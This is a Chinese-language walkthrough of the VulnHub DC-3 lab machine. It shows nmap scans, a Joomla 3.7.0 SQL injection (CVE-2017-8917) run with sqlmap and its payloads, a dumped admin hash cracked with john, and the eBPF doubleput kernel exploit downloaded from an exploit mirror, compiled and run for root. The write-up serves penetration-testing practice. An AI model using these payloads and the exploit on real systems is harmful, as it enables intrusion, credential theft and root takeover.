vulnhub靶机实战DC-3

nmap -sP 192.168.198.0/24
# 结果

# Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-04 14:13 CST
# Nmap scan report for 192.168.198.1
# Host is up (0.00014s latency).
# MAC Address: 00:50:56:C0:00:08 (VMware)
# Nmap scan report for 192.168.198.2
# Host is up (0.00020s latency).
# MAC Address: 00:50:56:F7:F2:9C (VMware)
# Nmap scan report for 192.168.198.254
# Host is up (0.00016s latency).
# MAC Address: 00:50:56:F9:B2:86 (VMware)
# Nmap scan report for 192.168.198.129
# Host is up.
# Nmap done: 256 IP addresses (4 hosts up) scanned in 2.06 seconds

nmap -sP 192.168.198.0/24
# 结果 并没有扫描到DC3靶机IP，尝试重启靶机
# Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-04 14:13 CST
# Nmap scan report for 192.168.198.1
# Host is up (0.00014s latency).
# MAC Address: 00:50:56:C0:00:08 (VMware)
# Nmap scan report for 192.168.198.2
# Host is up (0.00020s latency).
# MAC Address: 00:50:56:F7:F2:9C (VMware)
# Nmap scan report for 192.168.198.254
# Host is up (0.00016s latency).
# MAC Address: 00:50:56:F9:B2:86 (VMware)
# Nmap scan report for 192.168.198.129
# Host is up.
# Nmap done: 256 IP addresses (4 hosts up) scanned in 2.06 seconds

nmap -sP 192.168.198.0/24
# 扫描结果 
# Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-04 15:16 CST
# Nmap scan report for 192.168.198.1
# Host is up (0.00014s latency).
# MAC Address: 00:50:56:C0:00:08 (VMware)
# Nmap scan report for 192.168.198.2
# Host is up (0.00029s latency).
# MAC Address: 00:50:56:F7:F2:9C (VMware)
# Nmap scan report for 192.168.198.128
# Host is up (0.00020s latency).
# MAC Address: 00:0C:29:75:2A:77 (VMware)
# Nmap scan report for 192.168.198.130
# Host is up (0.00022s latency).
# MAC Address: 00:0C:29:DF:45:B8 (VMware)
# Nmap scan report for 192.168.198.254
# Host is up (0.00014s latency).
# MAC Address: 00:50:56:FD:F8:FE (VMware)
# Nmap scan report for 192.168.198.129
# Host is up.
# Nmap done: 256 IP addresses (6 hosts up) scanned in 1.93 seconds

nmap -p 1-65535 -A -v -T4 192.168.198.130


# 80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
# | http-methods:
# |_  Supported Methods: GET HEAD POST OPTIONS
# |_http-generator: Joomla! - Open Source Content Management
# |_http-server-header: Apache/2.4.18 (Ubuntu)
# |_http-title: Home
# |_http-favicon: Unknown favicon MD5: 1194D7D32448E1F90741A97B42AF91FA
# MAC Address: 00:0C:29:DF:45:B8 (VMware)
# Device type: general purpose
# Running: Linux 3.X|4.X
# OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
# OS details: Linux 3.2 - 4.9
# Uptime guess: 0.001 days (since Tue Jun  4 15:21:21 2024)
# Network Distance: 1 hop
# TCP Sequence Prediction: Difficulty=264 (Good luck!)
# IP ID Sequence Generation: All zeros

# TRACEROUTE
# HOP RTT     ADDRESS
# 1   0.42 ms 192.168.198.130

# Read data files from: /usr/bin/../share/nmap
# OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done: 1 IP address (1 host up) scanned in 13.78 seconds
#            Raw packets sent: 65558 (2.885MB) | Rcvd: 65550 (2.623MB)

nmap --script=vuln 192.168.198.130
# 结果
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-04 15:27 CST
Pre-scan script results:
| broadcast-avahi-dos:
|   Discovered hosts:
|     224.0.0.251
|   After NULL UDP avahi packet DoS (CVE-2011-1002).
|_  Hosts are all up (not vulnerable).


┌──(root㉿kali)-[~]
└─# nmap --script=vuln 192.168.198.130
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-04 15:31 CST
Pre-scan script results:
| broadcast-avahi-dos:
|   Discovered hosts:
|     224.0.0.251
|   After NULL UDP avahi packet DoS (CVE-2011-1002).
|_  Hosts are all up (not vulnerable).
Nmap scan report for 192.168.198.130
Host is up (0.000068s latency).
Not shown: 999 closed tcp ports (reset)
PORT   STATE SERVICE
80/tcp open  http
| http-vuln-cve2017-8917:
|   VULNERABLE:
|   Joomla! 3.7.0 'com_fields' SQL Injection Vulnerability
|     State: VULNERABLE
|     IDs:  CVE:CVE-2017-8917
|     Risk factor: High  CVSSv3: 9.8 (CRITICAL) (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
|       An SQL injection vulnerability in Joomla! 3.7.x before 3.7.1 allows attackers
|       to execute aribitrary SQL commands via unspecified vectors.
|
|     Disclosure date: 2017-05-17
|     Extra information:
|       User: root@localhost
|     References:
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-8917
|_      https://blog.sucuri.net/2017/05/sql-injection-vulnerability-joomla-3-7.html
| http-slowloris-check:
|   VULNERABLE:
|   Slowloris DOS attack
|     State: LIKELY VULNERABLE
|     IDs:  CVE:CVE-2007-6750
|       Slowloris tries to keep many connections to the target web server open and hold
|       them open as long as possible.  It accomplishes this by opening connections to
|       the target web server and sending a partial request. By doing so, it starves
|       the http server's resources causing Denial Of Service.
|
|     Disclosure date: 2009-09-17
|     References:
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6750
|_      http://ha.ckers.org/slowloris/
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
| http-internal-ip-disclosure:
|_  Internal IP Leaked: 127.0.1.1
| http-enum:
|   /administrator/: Possible admin folder
|   /administrator/index.php: Possible admin folder
|   /administrator/manifests/files/joomla.xml: Joomla version 3.7.0
|   /language/en-GB/en-GB.xml: Joomla version 3.7.0
|   /htaccess.txt: Joomla!
|   /README.txt: Interesting, a readme.
|   /bin/: Potentially interesting folder
|   /cache/: Potentially interesting folder
|   /images/: Potentially interesting folder
|   /includes/: Potentially interesting folder
|   /libraries/: Potentially interesting folder
|   /modules/: Potentially interesting folder
|   /templates/: Potentially interesting folder
|_  /tmp/: Potentially interesting folder
| http-csrf:
| Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=192.168.198.130
|   Found the following possible CSRF vulnerabilities:
|
|     Path: http://192.168.198.130:80/
|     Form id: login-form
|     Form action: /index.php
|
|     Path: http://192.168.198.130:80/index.php/2-uncategorised/1-welcome
|     Form id: login-form
|     Form action: /index.php
|
|     Path: http://192.168.198.130:80/index.php
|     Form id: login-form
|     Form action: /index.php
|
|     Path: http://192.168.198.130:80/index.php/component/users/?view=reset&Itemid=101
|     Form id: user-registration
|     Form action: /index.php/component/users/?task=reset.request&Itemid=101
|
|     Path: http://192.168.198.130:80/index.php/component/users/?view=reset&Itemid=101
|     Form id: login-form
|     Form action: /index.php/component/users/?Itemid=101
|
|     Path: http://192.168.198.130:80/index.php/component/users/?view=remind&Itemid=101
|     Form id: user-registration
|     Form action: /index.php/component/users/?task=remind.remind&Itemid=101
|
|     Path: http://192.168.198.130:80/index.php/component/users/?view=remind&Itemid=101
|     Form id: login-form
|     Form action: /index.php/component/users/?Itemid=101
|
|     Path: http://192.168.198.130:80/index.php/2-uncategorised
|     Form id: login-form
|_    Form action: /index.php
MAC Address: 00:0C:29:DF:45:B8 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 345.22 seconds

 http://192.168.198.130 -w dm3.txt

# 并没有成功
 wpscan --url http://192.168.198.130 -U admin -P ./dm3.txt
_______________________________________________________________
         __          _______   _____
         \ \        / /  __ \ / ____|
          \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
           \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
            \  /\  /  | |     ____) | (__| (_| | | | |
             \/  \/   |_|    |_____/ \___|\__,_|_| |_|

         WordPress Security Scanner by the WPScan Team
                         Version 3.8.25
       Sponsored by Automattic - https://automattic.com/
       @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________


Scan Aborted: The remote website is up, but does not seem to be running WordPress.

# Exploit Title: Joomla 3.7.0 - Sql Injection
# Date: 05-19-2017
# Exploit Author: Mateus Lino
# Reference: https://blog.sucuri.net/2017/05/sql-injection-vulnerability-joomla-3-7.html
# Vendor Homepage: https://www.joomla.org/
# Version: = 3.7.0
# Tested on: Win, Kali Linux x64, Ubuntu, Manjaro and Arch Linux
# CVE : - CVE-2017-8917


URL Vulnerable: http://localhost/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml%27


Using Sqlmap: 

sqlmap -u "http://localhost/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]


Parameter: list[fullordering] (GET)
    Type: boolean-based blind
    Title: Boolean-based blind - Parameter replace (DUAL)
    Payload: option=com_fields&view=fields&layout=modal&list[fullordering]=(CASE WHEN (1573=1573) THEN 1573 ELSE 1573*(SELECT 1573 FROM DUAL UNION SELECT 9674 FROM DUAL) END)

    Type: error-based
    Title: MySQL >= 5.0 error-based - Parameter replace (FLOOR)
    Payload: option=com_fields&view=fields&layout=modal&list[fullordering]=(SELECT 6600 FROM(SELECT COUNT(*),CONCAT(0x7171767071,(SELECT (ELT(6600=6600,1))),0x716a707671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 time-based blind - Parameter replace (substraction)
    Payload: option=com_fields&view=fields&layout=modal&list[fullordering]=(SELECT * FROM (SELECT(SLEEP(5)))GDiu)

sqlmap -u "http://192.168.198.130/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]
# 结果

# sqlmap identified the following injection point(s) with a total of 2743 HTTP(s) requests:
# ---
# Parameter: list[fullordering] (GET)
#     Type: error-based
#     Title: MySQL >= 5.1 error-based - Parameter replace (UPDATEXML)
#     Payload: option=com_fields&view=fields&layout=modal&list[fullordering]=(UPDATEXML(2544,CONCAT(0x2e,0x717a7a7071,(SELECT (ELT(2544=2544,1))),0x717a6a6b71),2855))

#     Type: time-based blind
#     Title: MySQL >= 5.0.12 time-based blind - Parameter replace (substraction)
#     Payload: option=com_fields&view=fields&layout=modal&list[fullordering]=(SELECT 3087 FROM (SELECT(SLEEP(5)))brHv)
# ---
# [16:59:27] [INFO] the back-end DBMS is MySQL
# web server operating system: Linux Ubuntu 16.10 or 16.04 (xenial or yakkety)
# web application technology: Apache 2.4.18
# back-end DBMS: MySQL >= 5.1
# [16:59:27] [INFO] fetching database names
# [16:59:27] [INFO] retrieved: 'information_schema'
# [16:59:27] [INFO] retrieved: 'joomladb'
# [16:59:27] [INFO] retrieved: 'mysql'
# [16:59:27] [INFO] retrieved: 'performance_schema'
# [16:59:27] [INFO] retrieved: 'sys'
# available databases [5]:
# [*] information_schema
# [*] joomladb
# [*] mysql
# [*] performance_schema
# [*] sys

# [16:59:27] [WARNING] HTTP error codes detected during run:
# 500 (Internal Server Error) - 2705 times
# [16:59:27] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/192.168.198.130'

# [*] ending @ 16:59:27 /2024-06-04/

sqlmap -u "http://192.168.198.130/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" -D 'joomladb' --tables
# 返回结果

# Database: joomladb
# [76 tables]
# +---------------------+
# | #__assets           |
# | #__associations     |
# | #__banner_clients   |
# | #__banner_tracks    |
# | #__banners          |
# | #__bsms_admin       |
# | #__bsms_books       |
# | #__bsms_comments    |
# | #__bsms_locations   |
# | #__bsms_mediafiles  |
# | #__bsms_message_typ |
# | #__bsms_podcast     |
# | #__bsms_series      |
# | #__bsms_servers     |
# | #__bsms_studies     |
# | #__bsms_studytopics |
# | #__bsms_teachers    |
# | #__bsms_templatecod |
# | #__bsms_templates   |
# | #__bsms_timeset     |
# | #__bsms_topics      |
# | #__bsms_update      |
# | #__categories       |
# | #__contact_details  |
# | #__content_frontpag |
# | #__content_rating   |
# | #__content_types    |
# | #__content          |
# | #__contentitem_tag_ |
# | #__core_log_searche |
# | #__extensions       |
# | #__fields_categorie |
# | #__fields_groups    |
# | #__fields_values    |
# | #__fields           |
# | #__finder_filters   |
# | #__finder_links_ter |
# | #__finder_links     |
# | #__finder_taxonomy_ |
# | #__finder_taxonomy  |
# | #__finder_terms_com |
# | #__finder_terms     |
# | #__finder_tokens_ag |
# | #__finder_tokens    |
# | #__finder_types     |
# | #__jbsbackup_timese |
# | #__jbspodcast_times |
# | #__languages        |
# | #__menu_types       |
# | #__menu             |
# | #__messages_cfg     |
# | #__messages         |
# | #__modules_menu     |
# | #__modules          |
# | #__newsfeeds        |
# | #__overrider        |
# | #__postinstall_mess |
# | #__redirect_links   |
# | #__schemas          |
# | #__session          |
# | #__tags             |
# | #__template_styles  |
# | #__ucm_base         |
# | #__ucm_content      |
# | #__ucm_history      |
# | #__update_sites_ext |
# | #__update_sites     |
# | #__updates          |
# | #__user_keys        |
# | #__user_notes       |
# | #__user_profiles    |
# | #__user_usergroup_m |
# | #__usergroups       |
# | #__users            |
# | #__utf8_conversion  |
# | #__viewlevels       |
# +---------------------+

# [17:09:47] [WARNING] HTTP error codes detected during run:
# 500 (Internal Server Error) - 93 times
# [17:09:47] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/192.168.198.130'

# [*] ending @ 17:09:47 /2024-06-04/

sqlmap -u "http://192.168.198.130/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" -D 'joomladb' -T '#__users' -C 'username,password' --dump
# 结果
# Database: joomladb
# Table: #__users
# [1 entry]
# +----------+--------------------------------------------------------------+
# | username | password                                                     |
# +----------+--------------------------------------------------------------+
# | admin    | $2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu |
# +----------+--------------------------------------------------------------+

echo '$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu' >passwd.txt
john passwd.atxt
# 结果

# Using default input encoding: UTF-8
# Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
# Cost 1 (iteration count) is 1024 for all loaded hashes
# Will run 4 OpenMP threads
# Proceeding with single, rules:Single
# Press 'q' or Ctrl-C to abort, almost any other key for status
# Almost done: Processing the remaining buffered candidate passwords, if any.
# Proceeding with wordlist:/usr/share/john/password.lst
# snoopy           (?)
# 1g 0:00:00:00 DONE 2/3 (2024-06-04 17:45) 3.571g/s 128.5p/s 128.5c/s 128.5C/s 123456..buster
# Use the "--show" option to display all of the cracked passwords reliably
# Session completed.

Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=808

In Linux >=4.4, when the CONFIG_BPF_SYSCALL config option is set and the
kernel.unprivileged_bpf_disabled sysctl is not explicitly set to 1 at runtime,
unprivileged code can use the bpf() syscall to load eBPF socket filter programs.
These conditions are fulfilled in Ubuntu 16.04.

When an eBPF program is loaded using bpf(BPF_PROG_LOAD, ...), the first
function that touches the supplied eBPF instructions is
replace_map_fd_with_map_ptr(), which looks for instructions that reference eBPF
map file descriptors and looks up pointers for the corresponding map files.
This is done as follows:

	/* look for pseudo eBPF instructions that access map FDs and
	 * replace them with actual map pointers
	 */
	static int replace_map_fd_with_map_ptr(struct verifier_env *env)
	{
		struct bpf_insn *insn = env->prog->insnsi;
		int insn_cnt = env->prog->len;
		int i, j;

		for (i = 0; i < insn_cnt; i++, insn++) {
			[checks for bad instructions]

			if (insn[0].code == (BPF_LD | BPF_IMM | BPF_DW)) {
				struct bpf_map *map;
				struct fd f;

				[checks for bad instructions]

				f = fdget(insn->imm);
				map = __bpf_map_get(f);
				if (IS_ERR(map)) {
					verbose("fd %d is not pointing to valid bpf_map\n",
						insn->imm);
					fdput(f);
					return PTR_ERR(map);
				}

				[...]
			}
		}
		[...]
	}


__bpf_map_get contains the following code:

/* if error is returned, fd is released.
 * On success caller should complete fd access with matching fdput()
 */
struct bpf_map *__bpf_map_get(struct fd f)
{
	if (!f.file)
		return ERR_PTR(-EBADF);
	if (f.file->f_op != &bpf_map_fops) {
		fdput(f);
		return ERR_PTR(-EINVAL);
	}

	return f.file->private_data;
}

The problem is that when the caller supplies a file descriptor number referring
to a struct file that is not an eBPF map, both __bpf_map_get() and
replace_map_fd_with_map_ptr() will call fdput() on the struct fd. If
__fget_light() detected that the file descriptor table is shared with another
task and therefore the FDPUT_FPUT flag is set in the struct fd, this will cause
the reference count of the struct file to be over-decremented, allowing an
attacker to create a use-after-free situation where a struct file is freed
although there are still references to it.

A simple proof of concept that causes oopses/crashes on a kernel compiled with
memory debugging options is attached as crasher.tar.


One way to exploit this issue is to create a writable file descriptor, start a
write operation on it, wait for the kernel to verify the file's writability,
then free the writable file and open a readonly file that is allocated in the
same place before the kernel writes into the freed file, allowing an attacker
to write data to a readonly file. By e.g. writing to /etc/crontab, root
privileges can then be obtained.

There are two problems with this approach:

The attacker should ideally be able to determine whether a newly allocated
struct file is located at the same address as the previously freed one. Linux
provides a syscall that performs exactly this comparison for the caller:
kcmp(getpid(), getpid(), KCMP_FILE, uaf_fd, new_fd).

In order to make exploitation more reliable, the attacker should be able to
pause code execution in the kernel between the writability check of the target
file and the actual write operation. This can be done by abusing the writev()
syscall and FUSE: The attacker mounts a FUSE filesystem that artificially delays
read accesses, then mmap()s a file containing a struct iovec from that FUSE
filesystem and passes the result of mmap() to writev(). (Another way to do this
would be to use the userfaultfd() syscall.)

writev() calls do_writev(), which looks up the struct file * corresponding to
the file descriptor number and then calls vfs_writev(). vfs_writev() verifies
that the target file is writable, then calls do_readv_writev(), which first
copies the struct iovec from userspace using import_iovec(), then performs the
rest of the write operation. Because import_iovec() performs a userspace memory
access, it may have to wait for pages to be faulted in - and in this case, it
has to wait for the attacker-owned FUSE filesystem to resolve the pagefault,
allowing the attacker to suspend code execution in the kernel at that point
arbitrarily.

An exploit that puts all this together is in exploit.tar. Usage:

user@host:~/ebpf_mapfd_doubleput$ ./compile.sh
user@host:~/ebpf_mapfd_doubleput$ ./doubleput
starting writev
woohoo, got pointer reuse
writev returned successfully. if this worked, you'll have a root shell in <=60 seconds.
suid file detected, launching rootshell...
we have root privs now...
root@host:~/ebpf_mapfd_doubleput# id
uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare),999(vboxsf),1000(user)

This exploit was tested on a Ubuntu 16.04 Desktop system.

Fix: https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=8358b02bf67d3a5d8a825070e1aa73f25fb2e4c7


Proof of Concept: https://bugs.chromium.org/p/project-zero/issues/attachment?aid=232552
Exploit-DB Mirror: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39772.zip

wget https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39772.zip                                    w/main/bin-sploits/39772.zip
# --2024-06-04 21:25:13--  https://gitlab.com/exploit-database/exploitdb-                                           bin-sploits/-/raw/main/bin-sploits/39772.zip
# Resolving gitlab.com (gitlab.com)... 172.65.251.78, 2606:4700:90:0:f22e                                           :fbec:5bed:a9b9
# Connecting to gitlab.com (gitlab.com)|172.65.251.78|:443... connected.
# HTTP request sent, awaiting response... 200 OK
# Length: 7025 (6.9K) [application/octet-stream]
# Saving to: '39772.zip'

# 39772.zip         100%[============>]   6.86K  --.-KB/s    in 0s

# 2024-06-04 21:25:15 (41.8 MB/s) - '39772.zip' saved [7025/7025]
python3 -m http.server 10007
# Serving HTTP on 0.0.0.0 port 10007 (http://0.0.0.0:10007/) ...
# 192.168.198.1 - - [04/Jun/2024 21:26:23] "GET / HTTP/1.1" 200 -
# 192.168.198.1 - - [04/Jun/2024 21:26:23] code 404, message File not fou                                           nd
# 192.168.198.1 - - [04/Jun/2024 21:26:23] "GET /favicon.ico HTTP/1.1" 40    

# 解压
unzip 39772.zip
cd 39772
# 解压
tar xvf exploit.tar
cd ebpf_mapfd_doubleput_exploit
#添加执行权限
chmod +x compile.sh
./compile.sh
chmod +x doubleput
./doubleput